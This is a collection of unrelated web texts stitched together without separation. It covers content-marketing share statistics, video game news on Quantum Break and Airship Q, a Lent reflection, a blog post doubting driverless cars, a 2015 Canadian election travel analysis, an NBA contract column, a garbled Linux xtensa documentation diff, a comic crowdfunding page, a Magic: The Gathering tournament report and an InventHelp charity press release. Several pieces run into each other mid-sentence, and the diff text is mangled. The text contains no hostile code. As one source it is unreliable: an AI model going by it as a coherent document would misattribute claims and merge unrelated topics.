The chart below shows that on average, long form content gets more social shares than short form content, with the best performing content being being articles with over 4000 words.
Content Length by Shares
What can we learn from this? It tells us that people are more inclined to share a long, thought provoking post about an intellectual topic. That’s not to say that short form content is dead, people will always like to share short, funny posts about seemingly random topics. But if you want to make a larger impact on social media, its often better to take the time to write one really awesome piece of content, rather than spend the same time churning out multiple pieces of mediocre quality.
2. Images in content get more Facebook Shares
Content with images will increase engagement. We took a loot at average Facebook shares for content that has one or more images and compared that to posts without any images.
Images vs No Images
Looking at the numbers you can see that over twice as many people shared a piece of content that had at least one image. This reinforces the importance of having captivating visual elements within the body of your text.
We also analyzed the results to see which sites took advantage of the Facebook custom image preview feature that allows the content owner to define the image used in Facebook News Feed’s by setting the image URL as a meta tag in the HTML of the page. We also wanted to see how it can significantly improve the average share count of the article.
The numbers show that articles using the custom Facebook meta tag got shared five times as much as articles with no custom images.
What does this tell us? Taking the time to create a custom Facebook preview image for your content will drastically improve your click through rate from Facebook and other social media platforms.
3. Emotions get shares
We looked at the top 20,000 articles and categorized them into emotions like sadness, amusement, laughter, anger, joy, ect.
Popular Emotions
The 3 most popular emotions were;
Awe — 25.3%
Laughter — 17.8%
Amusement — 15.4%
The least popular being sadness and anger.
A study by the New York Times determines the primary reasons people are motivated to share an article are:
Bring value
Grow relationships
Self-fulfillment
Define themselves
Causes they care about
People will also share things for selfish reasons, narcissism for example.
14 of the top 20 most shared articles were quizzes, but why do people share quizzes? Quizzes fuel our ego, they provide chances for other people to learn more about what we value and who we are. When somebody shares a quiz result, they do it thinking they will have some impact on how other people perceive them. They want people to think they are more intelligent, caring or compassionate than they might necessarily be in reality.
4. List and infographics get results
We wanted to know what types of content format performed better than others. So we grouped our data into six categories:
infographics
lists
video
how to articles
what posts
what posts
Content Type vs Shares
Infographics and list posts vastly outperform all other content types, there are many reasons for this. List posts come with an immediate overview of what the reader can expect “10 Things That Do Something…” Also the numeric formatting of the content makes it easier for the reader to glance over.
Its the same with infographics, they make it easy to consume a large amount of information in a relatively small space in a manner that is visually appealing to the reader.
5. Trust is important
People will share your content if they trust the source. We wanted to compare how articles performed with or without an author bio. We also wanted to segment this into individual social networks to see how that played a role.
Trust is a major factor for networks like LinkedIn, Twitter and Google+
Bio vs No Bio
As you can see, trust plays an important role on Google+ and LinkedIn especially. This can be expected from networks that rely a lot on professional business connections. Trust does not seem to play any significant role when it comes to Facebook however, this is largely due to the type of content that is shared on Facebook, mostly for entertainment purposes and interaction with our closest friends.
LinkedIn, Google+ and Twitter tend to share content that is more articulated, people put a lot more thought into what kind of content they share when it could be seen by their boss or employee’s.
6. Influencers = Exponential
Getting influencers to share your content can have a snowball effect on your share count. Some shares are far more valuable that others and we set out to find a way to quantify that value in a manner we could analyze.
First we needed to define what an influencer is. For our purposes an influencer was somebody who received an average retweet count of 5 or more on each of their tweets. We took this benchmark and then analyzed the top 50,000 posts on Twitter to find how influencers effect the reach of an article.
Influencers Sharing vs Average Share Count
As the chart shows, having influencers sharing your content can have a significant effect on the overall performance of your content.
7. Tuesdays are the best days to publish
When you choose to publish your content can also play a large role in how much reach it garners. In the chart below, we compared the the total numbers of shares against the day the article was published and the results speak for themselves.
Day vs Total Shares
Its clear to see that content is shared more through the week, with Monday and Tuesday getting the highest number of shares, however weekends tend to perform poorly in comparison to weekdays.
In summary
Take the time to create in-depth, well researched articles that feature visual stimulus for your readers and also educate them at the same time. Place yourself in a position of trust and play on the emotions of your readers, but don’t overdo it and certainly don’t bore them to death while they read your article.
The best way to find content that will resonate with your target audience is to use the Almighty.Press content discovery tools that will allow you to find content that is both fresh and engaging, giving you the critical advantage that’s needed in today’s content marketing world.Get the latest news and videos for this game daily, no spam, no fuss.
Not everyone was happy this week with the news that Quantum Break, which was announced as an Xbox One exclusive, would also be coming to PC at launch in April. Now, Microsoft executive Aaron Greenberg has defended and explained this move, and also confirmed more console exclusives are on the way.
Quantum Break coming to PC does not signal a move away from console on Microsoft's part, Greenberg stressed during an appearance on the latest Major Nelson podcast (via DualShockers).
"People should know: Xbox is a big priority and a huge commitment," he said. "Please do not let the fact that we are also launching a game on the same day on Windows 10 change your perspective on the importance of the console business [or] our commitment to innovating on console."
Greenberg went on to say that Microsoft will continue to launch new Xbox One exclusives. Bringing a game like Quantum Break to PC is instead an effort to "[grow] the gaming ecosystem," he said.
"From our CEO down at Microsoft, there's tons of commitment and enthusiasm for our [console] business [and] we're having tremendous success," Greenberg added, noting that Xbox One exclusive game sales were strong in holiday 2015 and that overall, "business is good."
Greenberg acknowledged that fans won't always agree with every decision Microsoft makes, but the company is committed to trying new things.
"Some times we're innovating, some times we're experimenting, sometimes we're charting new ground on different things," he said. "We always want to hear people's feedback, we're always listening. While they might not always agree with 100 percent of everything we do, we love the feedback."
"We want to do different things and try different things and say, 'Hey, what do you think of this, what do you think of that?' We do listen. Good and bad, we appreciate [the feedback]."
Also during the podcast, Greenberg confirmed that Quantum Break will not be available on Steam.
"Quantum Break on Windows 10 is a Windows Store exclusive," Greenberg said when directly asked if the game would come to Steam.
Another Microsoft game, Fable Legends, will not be available on Steam, either.
Microsoft's top gaming boss, Phil Spencer, has praised Steam for what it's done for the PC gaming space over the years. "They've been the backbone of PC gaming for the last decade," Spencer said in March 2014. "As a Windows company, I appreciate what they've done."
It's not surprising, however, to learn that Microsoft would prioritize its own store over a competitor.
In other news about Quantum Break, everyone who preorders the digital Xbox One edition gets a free copy of the Windows 10 PC version. The console and PC versions support shared saves, though there is no cross-play because Quantum Break is a single-player game.
For more on Quantum Break, check out the two recent stories below.Miracle Positive has released new screenshots for its upcoming sandbox action RPG Airship Q, showcasing its airships, its monsters, the multiplayer mode, and more.
In Airship Q you embark on an adventure in the open sky with your original airship. As a witch has transformed you into a cat and also kidnapped your brother Lemuel, your task is to search for her to retrieve your previous appearance.
During the adventure you will explore mysterious islands, collect materials, craft tools, and fight against monsters. Statues found on the way increase your crafting levels and your airship can be equipped with weapons to be ready for the upcoming battles.
Airship Q will feature a multiplayer mode with up to 4 people, easy-to-use controls, a beginner-friendly tutorial and background music by Final Fantasy Crystal Chronicles composer Kumi Tanioka.
Airship Q will be released for the PS Vita in Japan on November 19, 2015 and in North America and Europe at a later date. A PS4 version is also in development.
Check out the Airship Q Screenshots:
Via: DualShockersLent is pulling into the station and Holy week is just about to begin. I think there are lessons and moments of clarity I have discovered this year just by slowing some things down and cutting some things out. Part of what I have learned about the careful dance between God’s grace and our participation is the difference between trying to make things happen and making room for God and others to do things in us. I offer these in hope you can learn from my mistakes. These are some of my lenten attempts that, surprisingly, have proven to be enemies of grace.
1) Bad Habits
Lent is not a time for self-improvement. On the contrary it is a time of admitting that there is only a certain degree to which one can help one’s self. It is not time to try to lose weight, exercise more, or keep the house cleaner. It is a time to make room so that God and others can move a little closer in. It is a time to risk the possibility that other’s will help us grow.
2) Anything without considering others first.
I am missing my call if I decide to give up something which by doing so inconveniences someone else. The season of Lent is not a season of coercion, but hospitality. So it is counter productive to a season of humility to do things that take away from others or draw attention to myself. Its time to let go of things that demand, instead of invite, friendship.
3) A thought or an Idea on its own.
Thoughts rarely change just by thinking about them. It is very much like trying not to think of the Sta-Puft marshmallow man in “Ghostbusters”. You try to not think about it and suddenly is a raving monster hovering over you. Lent is lived in the body. That’s why we fast, listen, serve, pray. If we want to be more compassionate, go be with people who need compassion. Instead of daily affirmations, well, …go be with people who need compassion. One of the mantras of some 12 step groups is, “move a muscle, change a thought.” Make a change in-deed.
4) Anything I give up to prove that I can do it.
If I get to the end of lent and feel proud that I made it through then I have, again, missed the point. WIll power is, at best, for New Year’s resolutions. Lent is about admitting we are often wrong and need help to be better. It is about giving up one’s will enough to learn, enough to be taught.
5) Pants.
Wow. I’ll never make that mistake again. Some things should be obvious.
Even though I have been well intended, I have discovered that even repentance can be something I try to show off. Practices that end up being more about my success, my pride, my strength of will or my inherent goodness are moving in the wrong direction all together. In that case I am using Lent against itself. In determination, my attempt to detrmine things, there is less room for God and others. I am clinging to control. Rather, the practices of grace are far more akin to jumping out of the plane, believing the parachute will work.
Grace is no less than a fearless leap of honesty into the possibility that something other than gravity is at work.
It’s Not About the Chocolate: Grace and Self-Improvement in Lent.Note: This old post is still useful whenever you see a "driverless cars will change everything" story, (this one, for example) and especially a "driverless cars will be the end of transit" story. Abstract: The two fallacies to watch for in these stories are (a) the "complete imagined future" mode, which denies the problems associated with evolving the future condition instead of just jumping to it, and (b) the assumption, universal in techno-marketing but always untrue in the real world, that when the whizbang new thing appears, everything else will still be the same; i.e. that none if the whizbang thing's imagined competitors will also have transformed themselves. This latter assumption can also be called the "everyone but me is a dinosaur" trope.
Richard Gilbert, co-author of a book that I've praised called Transport Revolutions, has a Globe and Mail series arguing for how driverless cars will change everything. I will give this series a more thorough read, but just want to call out one key rhetorical move that needs to be noticed in all these discussions. It's in the beginning of Part 4, "Why driverless cars will trump transit rivals."
With widespread use of driverless cars – mostly as autonomous taxicabs (ATs) – there could be more vehicles on the road because ATs will substitute for most, and perhaps eventually all, private automobile use as well as much use of buses and other conventional transit.
This, and much of the discussion around driverless cars, is in the complete imagined future mode. Gilbert describes a world in which the driverless cars are already the dominant mode, and where our cities, infrastructure, and cultural expectations have already been reorganized around their potential and needs.
Some complete imagined futures are not necessarily achievable, because the future must be evolved. In fact, the evolution of organisms is a fairly apt metaphor for how cities and infrastructure change. As in evolution, each incremental state in the transformation to the new reality must itself be a viable system. We can think of lots of wonderful futures that would be internally consistent but for which there is no credible path from here to there.
Driverless cars remind me a bit of the "wheeled animal" question in evolution. No animals have evolved with wheels, despite the splendid advantages that wheels might confer on open ground. That's because there's no credible intermediate state where some part of an animal has mutated something vaguely wheel-like that incrementally improves its locomotion to the point of conferring an advantage. Wheels (and axles) have to exist completely before they are useful at all, which is why wheeled animals, if they existed, would be an argument for "intelligent design."
I will begin to take driverless cars seriously when I see credible narratives about all the intermediate states of their evolution, and how each will be an improvement that is both technically and culturally embraced. How will driverless and conventional cars mix in roads where the needs of conventional cars still dominate the politics of road design? How will they come to triumph in this situation? How does the driverless taxi business model work before the taxis are abundant? Some of the questions seem menial but really are profound: When a driverless car is at fault in the accident, to what human being does that fault attach? The programmer? What degree of perfection is needed for software that will be trusted to protect not just the passengers, but everyone on the street who is involuntarily in the presence of such a machine?
Here's a practical example: In Part 3, Gilbert tells us that with narrower driverless cars, "three vehicles will fit across two lanes." Presumably lanes will someday be restriped to match this reality, but when you do that, how do existing-width cars adapt? If you could fit two driverless cars into one existing lane, you could imagine driverless cars fitting into existing lanes side by side, so that the street could gradually evolve from, say, two wide lanes to four narrow ones. But converting two lanes to three narrow ones is much trickier. I'd like to see how each stage in the evolution is supposed to work, both technically and culturally.
That's one reason that I seem unable to join the driverless car bandwagon just yet. The other is that claims for driverless taxis replacing transit amount to imaging a completed new technology out-competing an existing unimproved technology — as though that would actually happen.
Sure, driverless taxis might replace many lower-ridership bus lines, but wouldn't buses become driverless at the same time? In such a future, wouldn't any fair pricing make these driverless buses much cheaper to use where volumes are high? Wouldn't there be a future of shared vehicles of various sizes, many engaged in what we would recognize as public transit? As with all things PRT, I notice a frequent slipperiness in explanations of it; I'm not sure, at each moment, whether we're talking about something that prevents you from having to ride with strangers (the core pitch of "Personal" rapid transit) as opposed to just a more efficient means of providing public transit, i.e. a service that welcomes the need to ride with strangers as the key to its efficient use of both money and space.OTTAWA—Pity Atlantic Canada, left out of the steady stream of political rallies, stump speeches and photo ops in the lead-up to Canada’s 42nd federal election. Or envy them, depending on how you feel about the 57 days remaining in this extended election campaign.
Green party Leader Elizabeth May, Liberal Leader Justin Trudeau, NDP Leader Thomas Mulcair and Conservative Leader Stephen Harper confer before the Maclean's national leaders debate in Toronto on Aug. 6. ( Mark Blinch / AFP PHOTO/POOL )
A Star analysis of the four main federal party leaders’ travels between Jan. 1 and Aug. 1, 2015, shows the Atlantic region has been largely left off the itinerary. The Star analysis tracked the party leaders’ public events through notices sent to the Parliamentary Press Gallery. The results are by no means complete — there are plenty of events that we’re not notified of — but do paint a picture of the strategies and styles of the four main parties. While Atlantic Canada, the Prairies and the Territories are largely left out of the electioneering, Toronto, British Columbia’s Lower Mainland and Quebec have had plenty of attention.
Article Continued Below
In the first seven months of the year, the leaders of the Conservatives, NDP, Liberals and Greens held a total of 176 events in Ontario, mostly in and around the GTA. That’s the largest total, by far, of any province or region — largely due to the number of seats up for grabs in and around the city. Quebec, where the New Democrats are trying to maintain their historic gains from the 2011 election, saw a total of 66 events — 34 for NDP Leader Thomas Mulcair alone. A total of 33 events in British Columbia were held by Conservative Leader Stephen Harper, Mulcair and Liberal Leader Justin Trudeau. Green party Leader Elizabeth May, the only MP elected for the Greens in 2011, held 68 events in B.C. In terms of style, each leader appears to have his or her own preferred event type. In the seven months leading up to the election, Harper held more photo ops than any other party leader (32), and had the fewest events where the primary purpose was to respond to media questions (1). “The NDP and the Liberals need to use different methods to get their message out and, frankly, doing public appearances is cheaper,” said Michelle Austin, a senior adviser with Summa Strategies and Conservative commentator.
“Nothing stands out for me with the prime minister. He’s very predictable.” In January, the knock on Mulcair was that Canadians weren’t familiar with him. After 132 public events, mostly community events (32), Mulcair’s party has been leading in the national polls.
Article Continued Below
Mulcair has also held the most media availabilities (17) of party leaders on the road, likely a function of the party’s desire to familiarize Canadians with their leader. “Mulcair... has a totally different value proposition for voters, which is one that rests on voters believing that momentum exists,” said Ian Capstick, a former NDP strategist turned media consultant. “That’s really why you’re seeing these types of numbers.” Trudeau, meanwhile, has travelled to more ridings held by his opponents than other party leaders — 77 per cent of his public events were held in ridings controlled by the Conservatives or NDP. This is both a function of the other two parties simply holding more seats, and Trudeau’s wide-ranging travel schedule that has taken him to 110 events in 10 provinces and Territories. “He’s travelled the furthest; there’s been a concerted effort to get him in as many communities as possible,” said Amanda Alvarro, a Liberal strategist with the Trudeau campaign. “You see that all leaders have a little bit more concentrated time in Ontario and Quebec. That makes sense for a whole bunch of reasons. But, and I think the (Trudeau) campaign is a reflection of this as well, you know, the country doesn’t begin and end in Ontario and Quebec.”
Following the leaders: Regional analysis A Star analysis of the first eight months of the year shows not all parts of the country got equal attention from the federal party leaders. Ontario: The bulk of the parties’ pre-election travels in 2015 moved through the GTA, where the three main parties hope to pick up new seats — and hold the ones they already have. NDP Leader Thomas Mulcair led his competition with 64 visits in and around Toronto, with Conservative Leader Stephen Harper and Liberal Leader Justin Trudeau coming in with 46 and 45 visits respectively. The New Democrats are hoping for a breakthrough in the city’s suburbs, the Conservatives are looking to hold them, and the Liberals are hoping for signs of their former dominance in the city. Quebec: Early polling in the election campaign suggests the New Democrats will likely retain much of their 2011 “Orange Wave” breakthrough in Quebec. But the notoriously politically fickle province has surprised pollsters before. Before the election, the Conservatives largely focused their leaders’ travels in the Quebec City area, where they’ve had success in the past. Both Mulcair and Trudeau have focused more on Montreal — but Mulcair has spent by far the most time in la belle province. British Columbia: The last of the Big Three is B.C.’s Lower Mainland. Polling before the election campaign indicated a two-way race in the Vancouver area between the New Democrats and Conservatives, but Trudeau has spent almost as much time (11 visits) as Mulcair (14). Green party Leader Elizabeth May has spent the bulk of the year holding events in the riding of Saanich-Gulf Islands, the riding that first sent her to the House of Commons in 2011. May has held a total of 68 events in B.C. alone in 2015, and has put together a slate of Vancouver candidates that could give the other three parties a run. Alberta and Prairies: Like long stretches of wheat fields on the side of the TransCanada, the Prairies have not generated much attention from the parties’ leadership in 2015. As prime minister, Harper only made 10 visits to the region before the election, tied with Mulcair, who limited his public events to Alberta and Saskatchewan. Trudeau held 25 events in Alberta and Manitoba, mostly around Calgary and Winnipeg. May made two trips to Alberta for a total of five events, but skipped the Prairies completely. Atlantic Canada: Atlantic Canadians could be forgiven for believing the federal election actually stopped at the Quebec border. All four party leaders tracked by the Star have paid little attention to the Maritimes (and Newfoundland and Labrador), for a total of 31 public events in the provinces. There are individual ridings in Toronto that have seen more action. Only Mulcair has bothered to visit Newfoundland, and Trudeau was the only party leader to hit Prince Edward Island before the election. —Alex Boutilier
Read more about:After failing to come to terms on an extension with the Utah Jazz on Tuesday, reports indicate that George Hill is seeking a max contract this summer.
Yesterday was a roller coaster of news on the George Hill front.
After a surprising start to the season, even while punctuated with injuries, it was clear the Utah Jazz were a contending team when Hill was on the court. It’s also clear Utah wants to re-sign their biggest offseason acquisition.
Hill himself is on record with his intention to stay —
“I’m not the type of guy that likes to move around and go from team to team, I really like it here. My family likes it here. I’ve got some friends here. The city’s been great for me so far, and it’s a nice place to raise a family, so hopefully I get an opportunity to re-sign here if they would love me to be here.”
So with the news via Tim MacMahon that the Jazz and Hill were working toward a last-minute deal to renegotiate his current contract and extend it through the end of the 2020 season, morale was high in the Beehive state.
Utah was able to offer all of its cap space this season, nearly $14 million, with over $24 million per year covering an additional 3 years to total $88.3 million. For context, the former San Antonio Spur and Indiana Pacer had earned $45.3 million over his career to this point.
On an annual basis that would have paid Hill more than every point guard in the game outside of Russell Westbrook, Mike Conley and basically the same as Damian Lillard.
However, based on the advise of Hill’s representatives, Hill is seeking a deal similar to Conley’s. His camp reportedly believes he will be able to sign a four-year, $132 million deal via free agency.
Source: George Hill has been advised he can get much better deal this summer than what Jazz can offer now. @tribjazz reports talks dead. — Tim MacMahon (@espn_macmahon) February 28, 2017
Let me be clear, I believe every player should get the most money they can and when they can. Please don’t interpret this as George Hill bashing because he didn’t take a home town discount. With the values of NBA franchises raising exponentially and the TV live rights making the owners billions of dollars every season, the players need to get their share.
Remember last season when everyone lost their minds over the free agent contracts rotation guys were getting? Keep in mind the NBA is currently being paid $2.6 billion dollars each year and the players are supposed to receive 51 percent of that money.
This past season after a crazy $1.1 billion was spent in free agency, the owners had to write a check for over $200 million to the players because they STILL didn’t spend enough. Hill’s people are probably correct and there will be crazy money offered by the usual suspects (Knicks, Sixers, Nets, etc.).
But the issue is with a small market team committing to $80 million annually to Gordon Hayward, Rudy Gobert and George Hill with extensions coming up for Rodney Hood, Dante Exum and Trey Lyles. Additionally, no one should ignore the impact Joe Ingles is having on the season, and he is also a free agent.
The luxury tax hurts so much more without deep playoff appearances and championships.
Utah will have to pay into the tax if they want to continue to contend in the upper echelon of the Western Conference. The simple fact is really good basketball players cost a lot of money. And in the words of the great American philosopher Jalen Rose “you never get what you feel you deserve, you get what you have the leverage to negotiate”.
In life or sports..you never get what you feel you deserve..you get what you have the leverage to negotiate..owners hv no cap on profits! — Jalen Rose (@JalenRose) August 5, 2010
Hill’s impact on the Jazz is so glaring, they lose their leverage trying to get a cheaper deal done. While they presumably offered the maximum allowed under the CBA to renegotiate and extend his current deal, the fact he has been playing on such a cheap contract hurt Utah as they could only offer annual raises of 7.5 percent.
In my opinion, there aren’t many players that impact their teams as positively as Hill that also become available. Utah was fortunate to trade for him. Even fewer players are willing to play and stay in Salt Lake City. Especially when that player is so close to the All Star who coincidentally is also scheduled for free agency this summer.
Great teams eventually overpay to keep their core together. Call it a Hayward premium or the cost of getting further into the playoffs. Good teams spend money and the Jazz have been claiming that contending for a championship is what they are seeking.
Whether or not Jazz get a George Hill extension done by deadline, the veteran PG figures prominently in team's future plans. — Tim MacMahon (@espn_macmahon) February 28, 2017
It is no coincidence that Gobert and Hayward are reaching new heights of efficiency as players with Hill on the court. If Hayward re-signs and Hill leaves, can Hayward be as efficient? Can Gobert continue to progress as quickly as on offensive player? Spending more on Hill could be insurance for the other two All-Star caliber players on the team.
If Utah wants to continue to rent property in the top half of the playoff seeding, spend the money. The team has been building with talent and reloading for some time. Eventually you have to pull the trigger and take a shot.
If I were Wayne Gretzky I’d say, “you miss 100 percent of the shots you don’t take.”index 10a8d1ff35ec..1da783ac200c 100644
--- a/
+++ b/ diff --git a/Documentation/xtensa/atomctl.txt b/Documentation/xtensa/atomctl.txtindex 10a8d1ff35ec..1da783ac200c 100644--- a/ Documentation/xtensa/atomctl.txt +++ b/ Documentation/xtensa/atomctl.txt @@ -40,5 +40,5 @@ See Section 4.3.12.4 of ISA; Bits: --------- --------------- ----------------- ---------------- 0 Exception Exception Exception 1 RCW Transaction RCW Transaction RCW Transaction - 2 Internal Operation Exception Reserved + 2 Internal Operation Internal Operation Reserved 3 Reserved Reserved Reserved
index 2b1af7606d57..0312fe66475c 100644
--- a/
+++ b/ diff --git a/Documentation/xtensa/mmu.txt b/Documentation/xtensa/mmu.txtindex 2b1af7606d57..0312fe66475c 100644--- a/ Documentation/xtensa/mmu.txt +++ b/ Documentation/xtensa/mmu.txt @@ -44,3 +44,21 @@ After step 4, we jump to intended (linked) address of this code. 40..5F -> 40 40..5F -> pc -> pc 40..5F -> pc 20..3F -> 20 -> 20 20..3F -> 20 00..1F -> 00 -> 00 00..1F -> 00 + +The default location of IO peripherals is above 0xf0000000. This may change +using a "ranges" property in a device tree simple-bus node. See ePAPR 1.1, §6.5 +for details on the syntax and semantic of simple-bus nodes. The following +limitations apply: + +1. Only top level simple-bus nodes are considered + +2. Only one (first) simple-bus node is considered + +3. Empty "ranges" properties are not supported + +4. Only the first triplet in the "ranges" property is considered + +5. The parent-bus-address value is rounded down to the nearest 256MB boundary + +6. The IO area covers the entire 256MB segment of parent-bus-address; the + "ranges" triplet length field is ignored
index f8 |
00:00 00:00
Commission Sketch - $25 - Jason will draw any character you ask him to (within reason) *1 character per commission
PRESS MATERIALS
Want to help spread the word or feature the project on your blog?
The Characters
Kaitlyn is a 14-year old girl who has just arrived in the city. She has come to live with her older sister after the sudden death of their parents back on Earth. Kaitlyn is fiercely intelligent and resourceful but has a soft spot for injured and neglected animals.
Christina is adventurous, stubborn and extremely protective of her younger sister. She came to Dusk to see a new world but has found that it isn’t nearly as glamorous or exciting as she thought it would be.
Detective Eddie Hizaki has also only recently arrived in Dusk and is having a hard time adjusting to the technological advancements. He’s a little stuck in his ways and skeptical, but can’t help do the right thing, even if it hurts him.
The Book
The book will have 14 pt cover paper weight with a gloss finish. The inside pages will be full color, 70 lb text paper weight with a coated matte finish, which gives a more diffuse, duller sheen that is perfect for reading in various lighting.
Inside you'll find over 160 pages of story, original sketches, and city design.
Spread the Word!
Thank you.
Love, Spero!
Spero Studios was founded by Jason Bienvenu and Brandon Gary, inspired by the fun of the mid 70's, 80's & 90's, Spero focuses on bringing back the fun and joy from these eras with high-quality indie comics and graphic novels.Please don’t hate me.
Or if you do, hate me because I take all the fun in the format and use it for myself; hate me because I’m the villain, because I’m Magneto or Ozymandias, don’t hate me because I’m a boring old fucker with no regards for the true soul of the format.
(As everybody know, the format is about drawing cards. All the cards.)
Anyway.
I did try to play something novel this time, I really did. First of all, I wasn’t really sure I was even going; the tournament, the newly-insituted 93/94 Scandinavian Championships in Arvika, Sweden, is what will confer the Arvika Giant Shark in the future, but not this year, as that one has already been given out at the February tournament, the Arvika Festivalen. Also, Arvika is a shithole in the middle of nowhere and traveling is boring when you’re going alone (and as my loyal readers probably know by now, I’m sitting alone in an ivory tower on the eastern plains of Sweden with no fellow 93/94 player within a hundred miles). I was considering going but didn’t really put my heart into it. Until, about a month ago, I was going to Oslo by train on a business trip, and the train suddenly passed through Arvika. Wait, getting here doesn’t seem so bad after all. Maybe I should go. Looking into tickets, finding them not too expensive and finding a hotel room even though most of the town seemed to be booked already, I suddenly found myself with a trip.
I’ve been meaning to buy into at least one other old school deck for quite a while now; some readers might remember me talking about different options at the Ivory Cup 2 in Stockholm in early June. In particular, I’m always drawn to the combo macro-archetype, being an avid Storm player in Legacy and having had some undeserved success with Doomsday in Vintage. (My history of drawing obscene amounts of cards early on is the topic for another day, harking back to the days of casting Windfall in Standard.) I have a feeling combo decks can be better than they currently are in old school. They are played so rarely that the lists are far from optimized, and that’s attracting the deck tuner in me. For an overview, I recommend Stephen Menendian’s excellent combo primer at Vintage Magic. Most of all, I’d love a chance to play Fastbond again (now that the Gush restriction has basically killed the card in Vintage), but I fear that Fork Recursion might just not be good enough. That is still on the list of decks to get the cards for and try out. However, I’m still regretting me selling a playset of Power Artifact pre-spike a year ago, so when I got the chance, I bought them again, before they rise even higher. I start looking through deck lists, comparing them, seeing what can be done. What are the different ways of building the deck? What is the core? How much mana do you need? I’m using the lists in Menendian’s article above, as well as the one on wak-wak and Jaco’s article on Eternal Central.
Chiefly, I find one big divide: whether to play more control card, Swords to Plowshares, Disenchants, and things like Jayemdae Tome, or whether to go more all-in on the combo. There are still overlaps, of course. One such is whether to play Transmute Artifact. I like that card a lot, but it forces you into some uncomfortable spots. In particular, Rocket Launcher is just a terrible card. Not only does it cost 4; for some unfathomable reason, it has summoning sickness. Book of Rass might be a better way to actually end the game if you get the combo while having a Transmute available. Also, Triskelion isn’t the best card when you’re not aggressive.
I’m immediately attracted to Sylvan Library, one of my all-time favorite cards. I mean, I even tried to play it in the sideboard of The Deck once. Transmute gives you a shuffle effect here, but I’m still not convinced. If you play Sylvan, you want more green mana, which makes you shy away from white. I’m also very tempted to play the Channel in the sideboard, using that two-card combo as an out to opponents overloading on artifact removal post-sideboard. I get the idea of running Lightning Bolts over swords as creature removal, allowing the white to be minimized to just Balance and a Disenchant or two. Then I could even board Gloom against Disenchant-based opposition. The Guardian Beast plan I’m more skeptical about. Most people would probably expect it, leaving some swords in, and it’s still not very impactful in the horrible The Deck matchup. Also, I don’t own any, but I still don’t really like them.
I want a lot of card draw to make sure I hit the combo, more than any list above, at least 2 sylvans and 2 books, I think. The mana base is actually fine as you don’t run Mishra’s Factories. I’m also not convinced Power Sink is better than Counterspell and decide to run a split, allowing for better defenses at the expense of some combo potential. After having made some hard cuts, I arrive at this:
1 ancestral
1 walk
1 timetwister
4 monolith
4 power artifact
4 fireball
2 power sink
1 counterspell
1 mana drain
2 sylvan
2 tome
(0 bolt)
1 regrowth
1 disenchant
1 balance
1 abyss
1 mirror
1 tutor
1 mind twist
1 recall
1 wheel
1 braingeyser
1 chaos orb
1 library
1 strip mine
5 mox
1 lotus
1 sol ring
2 fellwar
15 assorted blue lands: 3 volcanic, 3 tropical, 2 underground, 3 island, 4 city
sb:
1 maze
1 abyss
1 bolt
1 mana short
2 reb
3 beb
1 city in a bottle
1 channel
2 crumble
1 gloom
1 tranquility
It actually looks quite good. At this point, about two weeks before the tournament, somehow I’ve convinced myself I should play this in Arvika. I’m itching to play something new, so I start acquiring the cards I miss, two Tropical Islands the hardest thing by far, only owning a Beta and four FBB ones. Then, over a week later, last Monday or Tuesday, it dawns on me: I can have both the green and the white if I cut down on the black. Running crumble (against books) and tranquility (against Underworld Dreams) is hard to justify, after all. It’s hipster but hardly good. So I rebuild the deck, playing some swords and disenchants in the sideboard. It looks great. It feels great.
Then I assemble the deck and goldfish for a while. I know I should get into the habit of playing over Skype but I just haven’t bothered to make a working setup yet, so this is the first non-theory I do. And man, does it suck. Nothing works. Assembling a three-card combo without cantrips is harder than I’d imagine. The deck has every problem of The Deck, such as drawing too much or too little mana, or just not getting any action, increased by having a whole lot of air in the deck. Maybe, it would be possible to play a smaller combo in a more full The Deck shell, using monoliths for mana, Power Artifacts for tome fuel, and fireballs as removal, cutting some flex defensive slots. Then, the transformative sideboard plan of Guardian Beasts should probably be two or three Serras, being both defensive and aggressive. But that is far less sweet: no sylvans, no wheel, no channel.
I just can’t do it. Not at this time. I still bring the cards for the deck (missing a few pieces, but those could probably be borrowed on site), but I resign to assembling The Deck again, this time with the changes I mentioned in my Ivory Cup report. For reference:
Then it’s Saturday, autumn, everything is gray with clouds hanging very low, the alarm going of at 6, the train leaving at 8. Even though not working set hours especially often, I often have trouble sleeping, waking up too early even though never going to bed early enough, so I’m running up a bit of a fatigue tap already. The tournament starting at 4 pm (as if anybody ever expects a Magic tournament to start on time), it’s looking to be a long day. Still, I feel kind of good. I haven’t played more than a few stray and boring games of Modern since early summer and I’m almost itching to draw some cards. I want to win this one; the winner doesn’t get a shark, but he gets a Noobcon slot, something I dearly crave. And it’ll be great to see a bunch of the 93/94 crew again.
So, a fairly eventless train ride, checking into the hotel, eating lunch, relaxing for a bit, then walking to the site about a kilometer away from the town center.
I get there, greet a lot of good people, discuss The Deck with Emil, discuss combo decks with Gordon, grab a beer (the beer selection was bad, bordering on the horrible, but at least it’s cheap, right? I’m not much for playing tournaments while being real drunk, but one beer to start things off is great, as well as having one or two to take some edge off losing later on), collect some cards I’ve bought beforehand, and wait. As usual, we wait, the tournament finally starting at about 5:30, including printer problems.
But that’s a story for next time. To be continued!
AdvertisementsPittsburgh, PA -- (SBWIRE) -- 10/21/2013 -- From Toys for Tots to hosting blood drives, InventHelp and their employees are reaching out to the community. Judy Kinlough, a Communications Production Coordinator, places boxes in the office to encourage other employees to donate food items or paper products during the company’s annual food drive that benefits the Salvation Army. A spokesman for the charity, praised her for being “one of those rare people who cares so much for others.” Kinlough was also honored as a former “Woman of the Year in Business” by Womansplace, a non-profit agency that fights domestic violence, for her “exceptional work and dedication to both their careers and their communities”.
Last year, Toys for Tots, a charity that InventHelp has supported for more than 10 years, received more than 125 toys for children in the Pittsburgh area from their employees. When it comes to giving blood, InventHelp is reaching new records as 20 percent of the company’s 150 employees chose to participate.
Breast cancer hasn’t been defeated, that’s why The Komen Race for the Cure is an important event to raise awareness and funds to fight this deadly illness. "It was so rewarding to take part in an event where thousands of people were united under a common cause," said InventHelp employee Liv Dobo, who finished the 5K run with a personal best time. "Joining together in search of a cure is our way of showing support for those who have been affected by breast cancer, and the Race is a great opportunity to educate people about the disease."
Even though InventHelp is located in Pittsburgh, the company cares for “our southern neighbors” in Louisiana and other areas that were affected by Hurricane Katrina a few years ago. That’s why $10,680 was raised and divided equally between the American Red Cross and the Salvation Army. In a second program, the company promised to donate $25 per new client during the month of September, which raised an additional $20,475 “to aid our fellow Americans” according to the http://www.inventhelp.com/InventHelp-Hurricane-Katrina.asp
